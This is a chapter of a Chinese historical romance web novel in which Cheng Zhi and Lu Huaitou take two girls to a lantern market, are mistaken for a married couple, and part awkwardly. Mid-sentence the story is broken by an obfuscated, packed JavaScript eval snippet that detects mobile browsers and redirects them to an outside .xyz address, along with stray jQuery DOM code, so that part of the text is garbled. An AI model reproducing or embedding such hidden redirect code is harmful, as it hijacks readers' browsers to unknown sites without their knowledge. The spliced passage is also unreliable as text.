陆怀骰感受到她的僵硬和轻微颤抖,收回手掌,语气一贯的淡定,“走吧。”
“嗯。”
隔着面具,程知能感受到陆怀骰的视线带着探究。她牵着崔雨蓝和唐素雪,飞快往人群外走,不敢再看陆怀骰。
刚从拥挤的人群中挤出,隐约听到旁边一位妇人的声音,略带羡慕和嗔怪,“瞧瞧人家相公,再看看你。哼,真是的,一点用都没有。”
相……相公?
这两字吓得程知一激灵。
声音不大,却听得真切。
转过头去找是谁乱说话,却只看见密密麻麻的人头。她一路低着头往前走,想着人群拥挤声音嘈杂,陆怀骰应该没有听到刚刚的话。
可陆怀骰刚刚听得真切,垂眸看着懊恼的程知,不由觉得好笑。暗道自己和程知并没有出格之举,竟让路人误认至此,倒也有几分意思。
不知陆怀骰心中所想,程知牵着两个小姑娘往其他地方去。
走了一会,崔雨蓝有些累了,程知抱着她往前走。唐素雪则由陆怀骰牵着。
“花灯,花灯,好看好玩的花灯。”
伙计的吆喝声引起了她们的注意。
唐素雪和崔雨蓝眼睛往那边瞟去,一行人往花灯的小摊走去。
崔雨蓝在程知怀里,兴奋地直往摊位方向探身子。程知手臂发酸,正想换只手托住她。
“我来吧。”陆怀骰的声音在身侧响起。
程知还没拒绝,崔雨蓝就主动把手伸向陆怀骰,陆怀骰顺势抱过崔雨蓝,这一幕看得程知震惊。
这套行云流水的动作,好似两人真是亲舅甥。
就这样,陆怀骰一手抱着崔雨蓝,一手牵着唐素雪,而唐素雪的另一只手牵着程知。
两个小姑娘在琳琅满目的花灯前挑花了眼,好一会儿才各自选定心仪的那盏,程知爽快地付了钱。
伙计收了钱,满脸堆笑,习惯性地奉承,“多谢夫人惠顾。二位真是好福气啊,瞧瞧两位千金,生得跟年画娃娃似的,又乖巧又水灵。”
原本笑盈盈的程知瞬间变了脸色,沉着脸,“您误会了,我们不是夫妻。”
“啊?”伙计惊讶,顿时尴尬不已,连连作揖赔笑,“对不住对不住。小的眼拙,看二位郎才女貌,带着孩子这般亲近,就…一时嘴快,真是对不住,还望二位海涵,海涵。”
程知只觉得一股无名火直往上蹿,见伙计连连赔罪,无心跟伙计理论。她抿紧嘴唇,再不愿多说一句,拉着唐素雪转身就走,步子又快又急。
陆怀骰抱着崔雨蓝快步跟上,感受到程知生气。
只当是姑娘家脸皮薄,被人如此误解婚事,心中委屈。他打量着程知脸色,温声劝慰:“市井之人糊口乱说,莫要放在心上。”
程知闻言,倏地转过头来瞪着他。
看他这人,怎么一点生气的迹象都没有?这人怎么如此浑不在意?他明明是有婚约在身的人,难道他就不怕这话传到他那未婚妻耳中,平白伤了人家的心?还是说他根本不在乎?
一股莫名的怒意涌上心头,程知的语气都变得冷厉,冷哼,“陆大人当真是好脾气,任人胡说八道也能这般云淡风轻,不生半分气恼?”
陆怀骰:“……”
他一时语塞,不明白程知的意思。
对上那双隐含控诉与不解的眸子,陆怀骰竟有些摸不着头脑。
就连唐素雪和崔雨蓝都感觉到程知在生气,但她们年纪太小,不明白大人之间的事情。
“姨母~”崔雨蓝张开双手去抱,被程知抱住后,狠狠亲着程知的脸颊,“姨母,不要不开心,蓝儿的花灯给你玩好不好?”
崔雨蓝的模样实在太可爱,程知噗嗤一笑,“姨母没生气。”
见状,陆怀骰和唐素雪才松了一口气。
“天色不早了,姨母送你回家好不好?”程知觉得不能再和陆怀骰待一起,否则会出大事的。
崔雨蓝已经玩得尽兴,小小的身体也开始疲惫了,甜甜的应了一声,“好。”转而看向陆怀骰和唐素雪,“陆舅舅,素雪姐姐,我们要先回去了,下次素雪姐姐再来我家玩。”
“好啊,蓝儿妹妹,一言为定。”两个小姑娘击掌约定下次再见。
程知和唐素雪道别,没有多看一眼陆怀骰,抱着崔雨蓝转身离开。
见程知和崔雨蓝离去的背影,唐素雪拽着陆怀骰的衣袖,满脸的疑惑,“舅舅,你刚刚是不是惹程知姨母生气了?”
“不知道。”陆怀骰也纳闷呢。
程知、崔雨蓝离开后,陆家舅甥两人也打道回府。
马车上,崔雨蓝已在程知怀中睡得香甜。程知轻轻调整了一下姿势,让她靠得更舒服些。
摘掉狐狸面具,程知回想着刚刚的情景,暗道自己的反应是不是太激动了?
连崔雨蓝都看出来自己生气,那陆怀骰应该也能看出来了。反思最近自己跟陆怀骰太亲近了,若是让人传出去,指不定要说出什么难听的话,吃亏的还是她自己。
女子新政,她正处于风口浪尖的时刻,断断不能在这些男女事情上坏了名声。
陪着精力旺盛的孩子玩了一整日,程知也倦了。将崔雨蓝安然送回崔府,她便准备告辞。
“程二小姐,今日主家那边突然造访,我们夫人去陪客,这才让您费心照顾我们小姐。还请您入内歇息,我们也好聊表谢意。”崔家的管家挽留,程知却拒绝了。
“崔程两家本是一家,蓝儿亦是程家的孩子,管家不必客气。天色不早,我需得回府,免得父母担忧。”
“也好,程二小姐一路好走。”
程知颔首,命人回府。
另一边,陆怀骰将唐素雪送回陆怀清院中,简单交代了两句便离开。
唐素雪也有些困意,抱着陆怀清不撒手,看见陆怀骰走远才说:“母亲,今日我认识了一个朋友,蓝儿妹妹。蓝儿妹妹的姨母是上次在六觉寺后花园的程知。程知姨母跟舅舅认识。”
“程知姨母?”陆怀清一时没反应过来是谁,脑袋闪过一个念头,简直是意外之喜,“程知?可是母亲上次说要给你做舅母的那位漂亮姐姐?”
“嗯嗯。”唐素雪乖巧地点头。
陆怀清上次就觉得两人肯定有瓜葛,觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178382|180831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得程知做自己弟媳的可能性更大,立马向唐素雪追问:“那舅舅有没有跟程知姨母说话?有没有像平时一样板着臭脸对人家?”
唐素雪努力回忆着白天的情景,“没有,舅舅很温柔对程知姨母。但是,最后离开的时候,程知姨母好像生气了。但我看不懂她为什么生气,舅舅也看不懂。”
听到前半句,陆怀清还觉得自家弟弟总算开窍了。可后半句一出,她忍不住扶额,对陆怀骰的情商嫌弃之情溢于言表。
看母亲不说话,唐素雪拉着她的衣袖,“母亲,我下次还可以去找蓝儿妹妹玩吗?”
“嗯,下次再带你去。你今晚早点睡了。”陆怀清哄着女儿睡觉,思考着该怎么促合陆怀骰和程知的婚事。
陆怀骰回到房间,对别离时程知的生气困惑不已。许是这几天叨扰太多?惹她厌烦?或是伙计的话戳中她的伤心事?
在床上翻来覆去,陆怀骰久久不能入睡。
躺在床上的程知也是睡不着,明明身体疲惫不堪,思绪却异常清醒。白日里的点点滴滴,尤其是陆怀骰的神情言语,反复在脑中闪现。
不知道自己为什么会突然对陆怀骰发脾气?
他对他的未婚妻是否忠贞,理应跟自己没关系。像他这样尊贵的人物,三妻四妾是再寻常不过的事情,不太可能忠贞于一人。
看他近两日的情况,总觉得陆怀骰有些不一样,似乎变了一个人似的。
以前总是冷冰冰的,看人的眼神都是冰冷疏离,看谁都像欠他几百两银子的。但这几日看来,他说话的声音和看人的眼神似乎都变得温和许多。
程知脑袋胡思乱想,突然间闪过一个震惊的念头。
惊得程知从床上弹起来,自言自语念叨着:“不可能,不可能。陆怀骰怎么可能会对我有意思?他肯定是喜欢他未婚妻的,未婚妻还没过门呢?不可能一下子移情别恋。要是对他未婚妻没有感情,怎么会精心为他准备那套精致的‘玉骨同栖’?肯定是最近太累了,才会有这种想法。真是昏了头了。”
程知急得挠头,拨乱了发丝,重重躺回床上。可那莫名的烦躁和奇怪的念头总是挥之不去,她烦躁地蹬着被子,“哎呀~烦死了~”
门外守夜的人被房内的动静惊动,侧耳细听了好一会儿,确定再无异响,才放下心来继续歇息。
接下来的几日,陆怀骰再未出现在程知的视线里,程知也刻意避开了云鬓坊。
一切都恢复往常的生活,平静和睦。
在程知和云鬓坊的努力下,皇上交代的那套首饰已经完工,程知需得去一趟云鬓坊,亲自把这套首饰交给陆怀骰。
正准备出门时,梳月想到昨夜夫人的交代,及时提醒程知,“二小姐,夫人昨夜还交代让您等她,说是有要紧事。”
程知闻言蹙眉,缓缓叹了一口气,昨日有哪些人加上门拜访,所为何事?今日她娘亲要说什么“要紧事”?她门清得很,不用想也知道什么事情,“派个人告诉娘亲,就说云鬓坊有事要我去处理,晚些我自会去找她。”
想了想,觉得以最好的情绪先把皇上的事情办完,免得出差错。